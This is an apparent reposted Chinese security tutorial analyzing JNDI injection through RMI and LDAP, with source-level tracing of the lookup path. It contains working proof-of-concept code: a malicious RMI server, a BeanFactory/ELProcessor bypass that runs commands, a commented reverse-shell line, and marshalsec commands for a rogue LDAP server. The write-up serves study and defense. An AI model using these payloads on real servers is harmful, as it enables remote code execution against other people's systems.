查看原文
其他

JNDI注入分析

altEr 跳跳糖社区 2022-11-05

点击蓝字 / 关注我们


什么是JNDI

JNDI(Java Naming and Directory Interface)Java提供的Java命名和目录接口。通过调用JNDIAPI可以定位资源和其他程序对象。 JNDIJava EE的重要部分,JNDI可访问的现有的目录及服务有:JDBCLDAPRMIDNSNISCORBA

Naming Service 命名服务

命名服务将名称和对象进行关联,提供通过名称找到对象的操作,例如:DNS系统将计算机名和IP地址进行关联、文件系统将文件名和文件句柄进行关联等等。在一些命名服务系统中,系统并不是直接将对象存储在系统中,而是保持对象的引用。引用包含了如何访问实际对象的信息。其中另一个值得一提的名称服务为 LDAP,全称为 Lightweight Directory Access Protocol,即轻量级目录访问协议,其名称也是从右到左进行逐级定义,各级以逗号分隔,每级为一个 name/value 对,以等号分隔。比如一个 LDAP 名称如下:

cn=John, o=Sun, c=US

即表示在 c=US 的子域中查找 o=Sun 的子域,再在结果中查找 cn=John 的对象。关于 LDAP 的详细介绍见后文。

在名称系统中,有几个重要的概念。 Bindings: 表示一个名称和对应对象的绑定关系,比如在文件系统中文件名绑定到对应的文件,在 DNS 中域名绑定到对应的 IP。 Context: 上下文,一个上下文中对应着一组名称到对象的绑定关系,我们可以在指定上下文中查找名称对应的对象。比如在文件系统中,一个目录就是一个上下文,可以在该目录中查找文件,其中子目录也可以称为子上下文 (subcontext)。 References: 在一个实际的名称服务中,有些对象可能无法直接存储在系统内,这时它们便以引用的形式进行存储,可以理解为 C/C++ 中的指针。引用中包含了获取实际对象所需的信息,甚至对象的实际状态。比如文件系统中实际根据名称打开的文件是一个整数 fd (file descriptor),这就是一个引用,内核根据这个引用值去找到磁盘中的对应位置和读写偏移。

Directory Service 目录服务

目录服务是命名服务的扩展,除了提供名称和对象的关联,还允许对象具有属性。目录服务中的对象称之为目录对象。目录服务提供创建、添加、删除目录对象以及修改目录对象属性等操作。由此,我们不仅可以根据名称去查找(lookup)对象(并获取其对应属性),还可以根据属性值去搜索(search)对象。一些典型的目录服务有: NISNetwork Information Service,Solaris 系统中用于查找系统相关信息的目录服务; Active Directory: 为 Windows 域网络设计,包含多个目录服务,比如域名服务、证书服务等;其他基于 LDAP 协议实现的目录服务;总而言之,目录服务也是一种特殊的名称服务,关键区别是在目录服务中通常使用搜索(search)操作去定位对象,而不是简单的根据名称查找(lookup)去定位。在下文中如果没有特殊指明,都会将名称服务与目录服务统称为目录服务。

API

根据上面的介绍,我们知道目录服务是中心化网络应用的一个重要组件。使用目录服务可以简化应用中服务管理验证逻辑,集中存储共享信息。在 Java 应用中除了以常规方式使用名称服务(比如使用 DNS 解析域名),另一个常见的用法是使用目录服务作为对象存储的系统,即用目录服务来存储和获取 Java 对象。比如对于打印机服务,我们可以通过在目录服务中查找打印机,并获得一个打印机对象,基于这个 Java 对象进行实际的打印操作。为此,就有了 JNDI,即 Java 的名称与目录服务接口,应用通过该接口与具体的目录服务进行交互。从设计上,JNDI 独立于具体的目录服务实现,因此可以针对不同的目录服务提供统一的操作接口。 JNDI 架构上主要包含两个部分,即 Java 的应用层接口和 SPI,如下图所示:

JNDI架构图.png


SPI 全称为 Service Provider Interface,即服务供应接口,主要作用是为底层的具体目录服务提供统一接口,从而实现目录服务的可插拔式安装。在 JDK 中包含了下述内置的目录服务: RMIJava Remote Method InvocationJava 远程方法调用; LDAP: 轻量级目录访问协议; CORBACommon Object Request Broker Architecture,通用对象请求代理架构,用于 COS 名称服务(Common Object Services);除此之外,用户还可以在 Java 官网下载其他目录服务实现。由于 SPI 的统一接口,厂商也可以提供自己的私有目录服务实现,用户可无需重复修改代码。为了更好理解 JNDI,我们需要了解其背后的服务提供者(Service Provider),这些目录服务本身和 JNDI 有没直接耦合性,但基于 SPI 接口和 JNDI 构建起了重要的联系。

JNDI的结构

从上面介绍的三个 Service Provider 我们可以看到,除了 RMI 是 Java 特有的远程调用框架,其他两个都是通用的服务和标准,可以脱离 Java 独立使用。JNDI 就是在这个基础上提供了统一的接口,来方便调用各种服务。在Java JDK里面提供了5个包,提供给JNDI的功能实现,分别是:

javax.naming:主要用于命名操作,包含了访问目录服务所需的类和接口,比如 Context、Bindings、References、lookup 等。
javax.naming.directory:主要用于目录操作,它定义了DirContext接口和InitialDir- Context类;
javax.naming.event:在命名目录服务器中请求事件通知;
javax.naming.ldap:提供LDAP支持;
javax.naming.spi:允许动态插入不同实现,为不同命名目录服务供应商的开发人员提供开发和实现的途径,以便应用程序通过JNDI可以访问相关服务。

类介绍

InitialContext类

构造方法:

//构建一个初始上下文。
InitialContext() 
//构造一个初始上下文,并选择不初始化它。
InitialContext(boolean lazy) 
//使用提供的环境构建初始上下文。
InitialContext(Hashtable<?,?> environment) 

常用方法:

//将名称绑定到对象。 
bind(Name name, Object obj) 
//枚举在命名上下文中绑定的名称以及绑定到它们的对象的类名。
list(String name) 
//检索命名对象。
lookup(String name)  
//将名称绑定到对象,覆盖任何现有绑定。
rebind(String name, Object obj) 
//取消绑定命名对象。
unbind(String name)  

示例:

import javax.naming.InitialContext;
import javax.naming.NamingException;

public class jndi {
    public static void main(String[] args) throws NamingException {
        String uri = "rmi://127.0.0.1:1099/work";
        //在这JDK里面给的解释是构建初始上下文,其实通俗点来讲就是获取初始目录环境。
        InitialContext initialContext = new InitialContext();
        initialContext.lookup(uri);
    }
}

Reference类

该类也是在javax.naming的一个类,该类表示对在命名/目录系统外部找到的对象的引用。提供了JNDI中类的引用功能。

构造方法:

//为类名为“className”的对象构造一个新的引用。
Reference(String className) 
//为类名为“className”的对象和地址构造一个新引用。 
Reference(String className, RefAddr addr) 
//为类名为“className”的对象,对象工厂的类名和位置以及对象的地址构造一个新引用。 
Reference(String className, RefAddr addr, String factory, String factoryLocation) 
//为类名为“className”的对象以及对象工厂的类名和位置构造一个新引用。  
Reference(String className, String factory, String factoryLocation)

/*
参数:
className 远程加载时所使用的类名
factory  加载的class中需要实例化类的名称
factoryLocation  提供classes数据的地址可以是file/ftp/http协议
*/

常用方法:

//将地址添加到索引posn的地址列表中。
void add(int posn, RefAddr addr) 
//将地址添加到地址列表的末尾。 
void add(RefAddr addr) 
//从此引用中删除所有地址。  
void clear() 
//检索索引posn上的地址。 
RefAddr get(int posn) 
//检索地址类型为“addrType”的第一个地址。  
RefAddr get(String addrType) 
//检索本参考文献中地址的列举。 
Enumeration<RefAddr> getAll() 
//检索引用引用的对象的类名。 
String getClassName() 
//检索此引用引用的对象的工厂位置。  
String getFactoryClassLocation() 
//检索此引用引用对象的工厂的类名。  
String getFactoryClassName() 
//从地址列表中删除索引posn上的地址。    
Object remove(int posn) 
//检索此引用中的地址数。 
int size() 
//生成此引用的字符串表示形式。
String toString() 

示例:

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class jndi {
    public static void main(String[] args) throws NamingException, RemoteException, AlreadyBoundException {
        String url = "http://127.0.0.1:8080"; 
        Registry registry = LocateRegistry.createRegistry(1099);
        Reference reference = new Reference("test", "test", url);
        ReferenceWrapper referenceWrapper = new ReferenceWrapper(reference);
        registry.bind("aa",referenceWrapper);


    }
}

这里可以看到调用完Reference后又调用了ReferenceWrapper将前面的Reference对象给传进去,这是为什么呢?其实查看Reference就可以知道原因,查看到Reference,并没有实现Remote接口也没有继承 UnicastRemoteObject类,前面讲RMI的时候说过,将类注册到Registry需要实现Remote和继承UnicastRemoteObject类。这里并没有看到相关的代码,所以这里还需要调用ReferenceWrapper将他给封装一下。

JNDI References 注入

为了在命名服务或目录服务中绑定Java对象,可以使用Java序列化来传输对象,但有时候不太合适,比如Java对象较大的情况。因此JNDI定义了命名引用(Naming References),后面直接简称引用(References)。这样对象就可以通过绑定一个可以被命名管理器(Naming Manager)解码并解析为原始对象的引用,间接地存储在命名或目录服务中。引用由Reference类来表示,它由地址(RefAddress)的有序列表和所引用对象的信息组成。而每个地址包含了如何构造对应的对象的信息,包括引用对象的Java类名,以及用于创建对象的ObjectFactory类的名称和位置。 Reference可以使用ObjectFactory来构造对象。当使用lookup()方法查找对象时,Reference将使用提供的ObjectFactory类的加载地址来加载ObjectFactory类,ObjectFactory类将构造出需要的对象。

所谓的 JNDI 注入就是控制 lookup 函数的参数,这样来使客户端访问恶意的 RMI 或者 LDAP 服务来加载恶意的对象,从而执行代码,完成利用 在 JNDI 服务中,通过绑定一个外部远程对象让客户端请求,从而使客户端恶意代码执行的方式就是利用 Reference 类实现的。Reference 类表示对存在于命名/目录系统以外的对象的引用。具体则是指如果远程获取 RMI 服务器上的对象为 Reference 类或者其子类时,则可以从其他服务器上加载 class 字节码文件来实例化 Reference 类常用属性:

className 远程加载时所使用的类名
classFactory 加载的 class 中需要实例化类的名称
classFactoryLocation 提供 classes 数据的地址可以是 file/ftp/http 等协议

比如:

Reference reference = new Reference("Exploit","Exploit","http://evilHost/" );           
registry.bind("Exploit", new ReferenceWrapper(reference));

此时,假设使用 rmi 协议,客户端通过 lookup 函数请求上面 bind 设置的 Exploit

Context ctx = new InitialContext();
ctx.lookup("rmi://evilHost/Exploit");

因为绑定的是 Reference 对象,客户端在本地 CLASSPATH 查找 Exploit 类,如果没有则根据设定的 Reference 属性,到URL: http://evilHost/Exploit.class 获取构造对象实例,构造方法中的恶意代码就会被执行

JNDI_RMI

本节主要分析 JNDI 在使用 RMI 协议时面临的攻击面。

低版本JDK运行

服务端代码:

import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class ServerExp {

    public static void main(String args[]) {

        try {
            Registry registry = LocateRegistry.createRegistry(1099);

            String factoryUrl = "http://localhost:1098/";
            Reference reference = new Reference("EvilClass","EvilClass", factoryUrl);
            ReferenceWrapper wrapper = new ReferenceWrapper(reference);
            registry.bind("Foo", wrapper);

            System.err.println("Server ready, factoryUrl:" + factoryUrl);
        } catch (Exception e) {
            System.err.println("Server exception: " + e.toString());
            e.printStackTrace();
        }
    }
}

客户端代码:

import javax.naming.InitialContext;
import javax.naming.NamingException;
import javax.naming.directory.*;
import java.util.Hashtable;

public class JNDILookup {
    public static void main(String[] args) {
        try {
            Object ret = new InitialContext().lookup("rmi://127.0.0.1:1099/Foo");
            System.out.println("ret: " + ret);
        } catch (NamingException e) {
            e.printStackTrace();
        }
    }
}

恶意类:

import javax.naming.Context;
import javax.naming.Name;
import javax.naming.spi.ObjectFactory;
import java.util.Hashtable;

public class EvilClass implements ObjectFactory {
    static void log(String key) {
        try {
            System.out.println("EvilClass: " + key);
        } catch (Exception e) {
            // do nothing
        }
    }

    {
        EvilClass.log("IIB block");
    }

    static {
        EvilClass.log("static block");
    }

    public EvilClass() {
        EvilClass.log("constructor");
    }

    @Override
    public Object getObjectInstance(Object obj, Name name, Context nameCtx, Hashtable<?, ?> environment) {
        EvilClass.log("getObjectInstance");
        return null;
    }
}

首先将恶意类编译为Class文件,放到http目录下。

图test1_1.png

启动服务端

图test1_2.png
启动客户端
图test1_3.png
可以清晰的看到在客户端中远程的类代码按照顺序被执行。


static在类加载的时候执行
代码块和无参构造方法在clas.newInstance()时执行

高版本JDK运行

JDK 6u1327u1228u113 开始 com.sun.jndi.rmi.object.trustURLCodebase 默认值为false,运行时需加入参数 -Dcom.sun.jndi.rmi.object.trustURLCodebase=true 。因为如果 JDK 高于这些版本,默认是不信任远程代码的,因此也就无法加载远程 RMI 代码。不加参数,抛出异常:

图test1_4.png


加入参数,正常运行:

图test1_5.png


原因分析

上面高版本 JDK 中无法加载远程代码的异常出现在 com.sun.jndi.rmi.registry.RegistryContext#decodeObject 中

analysis1.png

其中 getFactoryClassLocation()方法是获取classFactoryLocation地址,可以看到,在 ref != null && ref.getFactoryClassLocation() != null 的情况下,会对 trustURLCodebase 进行取反,由于在 JDK 6u1327u1228u113 版本及以后, com.sun.jndi.rmi.object.trustURLCodebase 默认为 false ,所以会进入 if 语句,抛出异常。


绕过方式

如果要解码的对象 r 是远程引用,就需要先解引用然后再调用 NamingManager.getObjectInstance,其中会实例化对应的 ObjectFactory 类并调用其 getObjectInstance 方法,这也符合我们前面打印的 EvilClass 的执行顺序。

因此为了绕过这里 ConfigurationException 的限制,我们有三种方法: * 令 ref 为空,或者 * 令 ref.getFactoryClassLocation() 为空,或者 * 令 trustURLCodebase 为 true

方法一:令 ref 为空,从语义上看需要 obj 既不是 Reference 也不是 Referenceable。即,不能是对象引用,只能是原始对象,这时候客户端直接实例化本地对象,远程 RMI 没有操作的空间,因此这种情况不太好利用;方法二:令 ref.getFactoryClassLocation() 返回空。即,让 ref 对象的 classFactoryLocation 属性为空,这个属性表示引用所指向对象的对应 factory 名称,对于远程代码加载而言是 codebase,即远程代码的 URL 地址(可以是多个地址,以空格分隔),这正是我们上文针对低版本的利用方法;如果对应的 factory 是本地代码,则该值为空,这是绕过高版本 JDK 限制的关键;方法三:我们已经在上节用过,即在命令行指定 com.sun.jndi.rmi.object.trustURLCodebase 参数。

可以看一下getFactoryClassLocation()方法,以及返回值的赋值情况。

rmiBypass1.png

rmiBypass2.png


要满足方法二情况,我们只需要在远程 RMI 服务器返回的 Reference 对象中不指定 Factory 的 codebase。接着看一下 javax.naming.spi.NamingManager 的解析过程

public static Object getObjectInstance(Object refInfo, Name name, Context nameCtx,
                      Hashtable<?,?> environment)
    throws Exception
{
    ObjectFactory factory;

    // Use builder if installed
    ObjectFactoryBuilder builder = getObjectFactoryBuilder();
    if (builder != null) {
        // builder must return non-null factory
        factory = builder.createObjectFactory(refInfo, environment);
        return factory.getObjectInstance(refInfo, name, nameCtx,
            environment);
    }

    // Use reference if possible
    Reference ref = null;
    if (refInfo instanceof Reference) {
        ref = (Reference) refInfo;
    } else if (refInfo instanceof Referenceable) {
        ref = ((Referenceable)(refInfo)).getReference();
    }

    Object answer;

    if (ref != null) {
        String f = ref.getFactoryClassName();
        if (f != null) {
            // if reference identifies a factory, use exclusively
            factory = getObjectFactoryFromReference(ref, f);
            if (factory != null) {
                return factory.getObjectInstance(ref, name, nameCtx,
                                                 environment);
            }
            // No factory found, so return original refInfo.
            // Will reach this point if factory class is not in
            // class path and reference does not contain a URL for it
            return refInfo;
        } else {
            // if reference has no factory, check for addresses
            // containing URLs
            answer = processURLAddrs(ref, name, nameCtx, environment);
            if (answer != null) {
                return answer;
            }
        }
    }
    // try using any specified factories
    answer =
        createObjectFromFactories(refInfo, name, nameCtx, environment);
    return (answer != null) ? answer : refInfo;
}

可以看到,在处理 Reference 对象时,会先调用 ref.getFactoryClassName() 获取对应工厂类的名称,也就是会先从本地的CLASSPATH中寻找该类。如果不为空则直接实例化工厂类,并通过工厂类去实例化一个对象并返回;如果为空则通过网络去请求,即前文中的情况。

之后会执行静态代码块、代码块、无参构造函数和getObjectInstance方法。那么只需要在攻击者本地CLASSPATH找到这个Reference Factory类并且在这四个地方其中一块能执行payload就可以了。但getObjectInstance方法需要你的类实现javax.naming.spi.ObjectFactory接口 因此,我们实际上可以指定一个存在于目标 classpath 中的工厂类名称,交由这个工厂类去实例化实际的目标类(即引用所指向的类),从而间接实现一定的代码控制。整个利用过程的主要调用栈如下:

InitialContext#lookup()
  RegistryContext#lookup()
    RegistryContext#decodeObject()
      NamingManager#getObjectInstance()
          objectfactory = NamingManager#getObjectFactoryFromReference()
                  Class#newInstance()  //-->恶意代码被执行
     或:   objectfactory#getObjectInstance()  //-->恶意代码被执行

总结一下 满足要求的工厂类条件:* 存在于目标本地的 CLASSPATH 中 * 实现 javax.naming.spi.ObjectFactory 接口 * 至少存在一个 getObjectInstance() 方法

而存在于 Tomcat 依赖包中的 org.apache.naming.factory.BeanFactory 就是个不错的选择 org.apache.naming.factory.BeanFactory ,这个类在 Tomcat 中,很多 web 应用都会包含,它的关键代码:

public Object getObjectInstance(Object obj, Name name, Context nameCtx,
                                Hashtable<?,?> environment)
    throws NamingException {

    Reference ref = (Reference) obj;
    String beanClassName = ref.getClassName();
    ClassLoader tcl = Thread.currentThread().getContextClassLoader();
    // 1. 反射获取类对象
    if (tcl != null) {
        beanClass = tcl.loadClass(beanClassName);
    } else {
        beanClass = Class.forName(beanClassName);
    }
    // 2. 初始化类实例
    Object bean = beanClass.getConstructor().newInstance();

    // 3. 根据 Reference 的属性查找 setter 方法的别名
    RefAddr ra = ref.get("forceString");
    String value = (String)ra.getContent();

    // 4. 循环解析别名并保存到字典中
    for (String param: value.split(",")) {
        param = param.trim();
        index = param.indexOf('=');
        if (index >= 0) {
            setterName = param.substring(index + 1).trim();
            param = param.substring(0, index).trim();
        } else {
            setterName = "set" +
                param.substring(0, 1).toUpperCase(Locale.ENGLISH) +
                param.substring(1);
        }
        forced.put(param, beanClass.getMethod(setterName, paramTypes));
    }

    // 5. 解析所有属性,并根据别名去调用 setter 方法
    Enumeration<RefAddr> e = ref.getAll();
    while (e.hasMoreElements()) {
        ra = e.nextElement();
        String propName = ra.getType();
        String value = (String)ra.getContent();
        Object[] valueArray = new Object[1];
        Method method = forced.get(propName);
        if (method != null) {
            valueArray[0] = value;
            method.invoke(bean, valueArray);
        }
        // ...
    }
}

上面注释标注了关键的部分,我们可以通过在返回给客户端的 Reference 对象的 forceString 字段指定 setter 方法的别名,并在后续初始化过程中进行调用。 forceString 的格式为 a=foo,bar,以逗号分隔每个需要设置的属性,如果包含等号,则对应的 setter 方法为等号后的值 foo,如果不包含等号,则 setter 方法为默认值 setBar。在后续调用时,调用 setter 方法使用单个参数,且参数值为对应属性对象 RefAddr 的值 (getContent)。因此,实际上我们可以调用任意指定类的任意方法,并指定单个可控的参数。

因为使用 newInstance创建实例(也就是后面Poc中的ELProcessor),所以只能调用无参构造,这就要求目标 class 得有无参构造方法,上面 forceString 可以给属性强制指定一个 setter 方法,参数为一个 String 类型 于是找到 javax.el.ELProcessor 作为目标 class,利用 el 表达式执行命令,工具 JNDI-Injection-Bypass 中的 EvilRMIServer.java 部分代码如下

zongjie3.png


所以整个绕过流程就是:为了绕过ConfigurationException,需要满足ref.getFactoryClassLocation() 为空,只需要在远程 RMI 服务器返回的 Reference 对象中不指定 Factory 的 codebase 来到NamingManager,需要在攻击者本地CLASSPATH找到这个Reference Factory类并且在其中一块代码能执行payload,找到了BeanFactory BeanFactor使用newInstance创建实例,所以只能调用无参构造,这就要求目标 class 得有无参构造方法且有办法执行相关命令,于是找到ELProcessorGroovyShell 总结起来就是绕过了ConfigurationException,进入NamingManager,使用BeanFactor创建ELProcessor/GroovyShell无参实例,然后BeanFactor根据别名去调用方法(执行ELProcessor中的eval方法)

从代码中能看出该工具还有另一个利用方法,groovy.lang.GroovyShell,原理也是类似的

zongjie4.png


传入的 Reference为 ResourceRef 类,后面通过反射的方式实例化 Reference 所指向的任意 Bean Class,调用 setter 方法为所有的属性赋值,该 Bean Class 的类名、属性、属性值,全都来自于 Reference 对象。ResourceRef构造器的第七个参数factoryLocation是远程加载factory的地址,比如是一个url,这里将其设置为null,达到绕过ConfigurationException限制。

poc

public class bypass {
    public static void main(String args[]) {
        try {
            Registry registry = LocateRegistry.createRegistry(1099);
            ResourceRef ref = new ResourceRef("javax.el.ELProcessor", null, "", "", true, "org.apache.naming.factory.BeanFactory", null);
            ref.add(new StringRefAddr("forceString", "x=eval"));
            // ref.add(new StringRefAddr("x", "\"\".getClass().forName(\"javax.script.ScriptEngineManager\").newInstance().getEngineByName(\"JavaScript\").eval(\"new java.lang.ProcessBuilder['(java.lang.String[])'](['bash','-c','bash -i >& /dev/tcp/ip/port 0>&1']).start()\")"));
           ref.add(new StringRefAddr("x", "Runtime.getRuntime().exec(\"open -a Calculator.app\")"));

            ReferenceWrapper referenceWrapper = new ReferenceWrapper(ref);
            registry.bind("calc", referenceWrapper);
            System.err.println("Server ready");
        } catch (Exception e) {
            System.err.println("Server exception: " + e.toString());
            e.printStackTrace();
        }
    }
}

org.apache.naming.ResourceRef 在 tomcat 中表示某个资源的引用,其构造函数参数如下:

/**
    * Resource Reference.
    *
    * @param resourceClass Resource class
    * @param description Description of the resource
    * @param scope Resource scope
    * @param auth Resource authentication
    * @param singleton Is this resource a singleton (every lookup should return
    *                  the same instance rather than a new instance)?
    * @param factory The possibly null class name of the object's factory.
    * @param factoryLocation The possibly null location from which to load the
    *                        factory (e.g. URL)
    */
public ResourceRef(String resourceClass, String description,
                    String scope, String auth, boolean singleton,
                    String factory, String factoryLocation) {
                        //...
                    }

其中我们指定了资源的实际类为 javax.el.ELProcessor,工厂类为 apache.naming.factory.BeanFactoryx=eval 令上述代码实际执行的是 ELProcessor.eval 函数,其第一个参数是属性 x 的值,这里指定的是弹计算器。

目标环境:

        <dependency>
            <groupId>org.apache.tomcat.embed</groupId>
            <artifactId>tomcat-embed-el</artifactId>
            <version>8.5.15</version>
        </dependency>

因为要使用 javax.el.ELProcessor,所以需要 Tomcat 8+SpringBoot 1.2.x+

Server端启动上述Poc,Client端正常请求,弹出计算器。

绕过结果1.png


源码调试

debug Client端,在lookup处下端点;

1debug1.png

经过如下调用栈,进入RegistryContext#decodeObject

1debug2.png
判断上文中的三个条件,绕过后进入NamingManager.getObjectInstance
1debug3.png
经由NamingManager.getObjectInstance进入factory.getObjectInstance
1debug4.png
进入BeanFactory#getObjectInstance后,首先会判断对象是否是ResourceRef类,接下来通过反射实例化了beanClass
1debug5.png
取出了键值为forceString的值,以,分割,拆分=键值对,存入hashMap对象中,=右边为调用的方法,=左边则是会通过作为hashmapkey
1debug6.png
此时各个变量值为
1debug7.png
最后通过反射执行我们指定的之前构造的方法


可以看到该方法中有反射的调用method.invoke(bean, valueArray);并且反射所有参数均来自Reference,反射的类来自Object bean = beanClass.newInstance();,这里是ELProcessor ,后面就是分析ELProcessor.eval达到了命令执行。

1debug8.png

看一下调用栈

1debug9.png


绕过总结

Server: 使用ResourceRef构造的beanClass,这种利用方式构造的beanClassjavax.el.ELProcessor。 ELProcessor中有个eval(String)方法可以执行EL表达式,javax.el.ELProcessorTomcat8中的库,所以仅限Tomcat8及更高版本环境下可以通过该库进行攻击。

1debug10.png

Client: 远程 RMI 服务器返回的 Reference 对象中不指定 Factory 的 codebase,且使用本地的factory,如BeanFactory,以此绕过 trustURLCodebase 报错,执行 NamingManager ;在factory的静态代码块、代码块、构造函数和getObjectInstance方法任意一个里面构造payload,即可在 NamingManager 中执行。


工具

  • • 使用 https://github.com/welk1n/JNDI-Injection-Bypass,放在服务器上启动一个恶意 RMI Server

  • • https://github.com/mbechler/marshalsec

JNDI_LDAP

LDAP 服务作为一个树形数据库,可以通过一些特殊的属性来实现 Java 对象的存储,此外,还有一些其他实现 Java 对象存储的方法: * 使用 Java 序列化进行存储;* 使用 JNDI 的引用(Reference)进行存储;* ……

使用这些方法存储在 LDAP 目录中的 Java 对象一旦被客户端解析(反序列化),就可能会引起远程代码执行。

低版本JDK运行

我们可以通过LDAP服务来绕过URLCodebase实现远程加载,LDAP服务也能返回JNDI Reference对象,利用过程与jndi + RMI Reference基本一致,不同的是,LDAP服务中lookup方法中指定的远程地址使用的是LDAP协议,由攻击者控制LDAP服务端返回一个恶意jndi Reference对象,并且LDAP服务的Reference远程加载Factory类并不是使用RMI Class Loader机制,因此不受trustURLCodebase限制。利用之前,需要在这个网站下载LDAP服务unboundid-ldapsdk-3.1.1.jar https://mvnrepository.com/artifact/com.unboundid/unboundid-ldapsdk/3.1.1 服务端代码使用的是marshalsec项目中的代码 引入依赖

<dependency>
    <groupId>com.unboundid</groupId>
    <artifactId>unboundid-ldapsdk</artifactId>
    <version>3.1.1</version>
</dependency>

ldap_low1.png


工具

也可以使用marshalsec开启LDAP服务

java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer http://127.0.0.1:8000/\#EvilClass

ldap_low2.png

使用高版本后,返回null

ldap_low3.png


流程分析

JNDI发起ldaplookup后,将有如下的调用流程,这里我们直接来关注,获得远程LDAP ServerEntry之后,Client这边是怎么做处理的

ldap_low4.png


LADP服务利用流程分析,LADP服务前面的调用流程和jndi是基本一样,从Obj类的decodeObject方法这里就有些不太一样了,decodeObject方法内部调用了decodeReference方法 跟进com.sun.jndi.ldap.Obj.java#decodeObject,按照该函数的注释来看,其主要功能是解码从LDAP Server来的对象,该对象可能是序列化的对象,也可能是一个Reference对象。关于序列化对象的处理,我们看后面一节。这里摘取了Reference的处理方式:

static Object decodeObject(Attributes var0) throws NamingException {
    String[] var2 = getCodebases(var0.get(JAVA_ATTRIBUTES[4]));

    try {
        Attribute var1;
        if ((var1 = var0.get(JAVA_ATTRIBUTES[1])) != null) {
            ClassLoader var3 = helper.getURLClassLoader(var2);
            return deserializeObject((byte[])((byte[])var1.get()), var3);
        } else if ((var1 = var0.get(JAVA_ATTRIBUTES[7])) != null) {
            return decodeRmiObject((String)var0.get(JAVA_ATTRIBUTES[2]).get(), (String)var1.get(), var2);
        } else {
            var1 = var0.get(JAVA_ATTRIBUTES[0]);
//调用了decodeReference方法
            return var1 == null || !var1.contains(JAVA_OBJECT_CLASSES[2]) && !var1.contains(JAVA_OBJECT_CLASSES_LOWER[2]) ? null : decodeReference(var0, var2);
        }
    } catch (IOException var5) {
        NamingException var4 = new NamingException();
        var4.setRootCause(var5);
        throw var4;
    }
}

Obj类的decodeReference方法根据Ldap传入的addAttribute属性构造并返回了一个新的reference对象引用

private static Reference decodeReference(Attributes var0, String[] var1) throws NamingException, IOException {
        String var4 = null;
        Attribute var2;
        if ((var2 = var0.get(JAVA_ATTRIBUTES[2])) == null) {
            throw new InvalidAttributesException(JAVA_ATTRIBUTES[2] + " attribute is required");
        } else {
            String var3 = (String)var2.get();
            if ((var2 = var0.get(JAVA_ATTRIBUTES[3])) != null) {
                var4 = (String)var2.get();
            }
            //返回一个新的Reference对象引用
            Reference var5 = new Reference(var3, var4, var1 != null ? var1[0] : null);
            //获取第6个属性
            if ((var2 = var0.get(JAVA_ATTRIBUTES[5])) != null) {
               //省略部分代码
            }
            //直接返回reference对象
            return var5;
        }
}

LADP服务的Reference对象引用的获取和jndi注入中的不太一样,jndi是通过ReferenceWrapper_Stub对象的getReference方法获取reference对象,而LADP服务是根据传入的属性构造一个新的reference对象引用,接着获取了第6个属性并判断是否为空,如果第6个属性为null则直接返回新的reference对象引用。

reference对象的三个属性:classNameclassFactoryclassFactoryLocation)如下所示:

ldap_low5.png

接着会返回到decodeObject方法调用处,然后再返回到LdapCtx类的c_lookup方法调用处,接着往下执行调用getObjectInstance方法


protected Object c_lookup(Name var1, Continuation var2) throws NamingException {
    var2.setError(this, var1);
    Object var3 = null;

    Object var4;
    try {
        SearchControls var22 = new SearchControls();
        var22.setSearchScope(0);
        var22.setReturningAttributes((String[])null);
        var22.setReturningObjFlag(true);
        LdapResult var23 = this.doSearchOnce(var1, "(objectClass=*)", var22, true);
        this.respCtls = var23.resControls;
        if (var23.status != 0) {
            this.processReturnCode(var23, var1);
        }

        if (var23.entries != null && var23.entries.size() == 1) {
            LdapEntry var25 = (LdapEntry)var23.entries.elementAt(0);
            var4 = var25.attributes;
            Vector var8 = var25.respCtls;
            if (var8 != null) {
                appendVector(this.respCtls, var8);
            }
        } else {
            var4 = new BasicAttributes(true);
        }

        if (((Attributes)var4).get(Obj.JAVA_ATTRIBUTES[2]) != null) {
//var3接收reference对象
            var3 = Obj.decodeObject((Attributes)var4);
        }

        if (var3 == null) {
            var3 = new LdapCtx(this, this.fullyQualifiedName(var1));
        }
    } catch (LdapReferralException var20) {
        LdapReferralException var5 = var20;
        if (this.handleReferrals == 2) {
            throw var2.fillInException(var20);
        }

        while(true) {
            LdapReferralContext var6 = (LdapReferralContext)var5.getReferralContext(this.envprops, this.bindCtls);

            try {
                Object var7 = var6.lookup(var1);
                return var7;
            } catch (LdapReferralException var18) {
                var5 = var18;
            } finally {
                var6.close();
            }
        }
    } catch (NamingException var21) {
        throw var2.fillInException(var21);
    }

    try {
//调用了getObjectInstance方法
        return DirectoryManager.getObjectInstance(var3, var1, this, this.envprops, (Attributes)var4);
    } catch (NamingException var16) {
        throw var2.fillInException(var16);
    } catch (Exception var17) {
        NamingException var24 = new NamingException("problem generating object using object factory");
        var24.setRootCause(var17);
        throw var2.fillInException(var24);
    }
}

c_lookup方法将var3reference对象)传给了getObjectInstance方法的refInfo参数,继续跟进分析getObjectInstance方法

    public static Object getObjectInstance(Object refInfo, Name name, Context nameCtx , Hashtable<?,?> environment, Attributes attrs) throws Exception {
            ObjectFactory factory;
            //获取对象工厂
            ObjectFactoryBuilder builder = getObjectFactoryBuilder();
            if (builder != null) {
                // builder must return non-null factory
                factory = builder.createObjectFactory(refInfo, environment);
                if (factory instanceof DirObjectFactory) {
                    return ((DirObjectFactory)factory).getObjectInstance(
                        refInfo, name, nameCtx, environment, attrs);
                } else {
                    return factory.getObjectInstance(refInfo, name, nameCtx,
                        environment);
                }
            }

            // use reference if possible
            Reference ref = null;
            //判断reference对象是否为Reference
            if (refInfo instanceof Reference) {
                 //转换为Reference类型
                ref = (Reference) refInfo;
            } else if (refInfo instanceof Referenceable) {
                ref = ((Referenceable)(refInfo)).getReference();
            }

            Object answer;
            //reference对象是否为空
            if (ref != null) {
                //获取工厂类名Exp
                String f = ref.getFactoryClassName();
                if (f != null) {
                    // if reference identifies a factory, use exclusively
                    //根据工厂类远程获取对象引用
                    factory = getObjectFactoryFromReference(ref, f);
                    if (factory instanceof DirObjectFactory) {
                        return ((DirObjectFactory)factory).getObjectInstance(
                            ref, name, nameCtx, environment, attrs);
                    } else if (factory != null) {
                        return factory.getObjectInstance(ref, name, nameCtx,
                                                         environment);
                    }
                    // No factory found, so return original refInfo.
                    // Will reach this point if factory class is not in
                    // class path and reference does not contain a URL for it
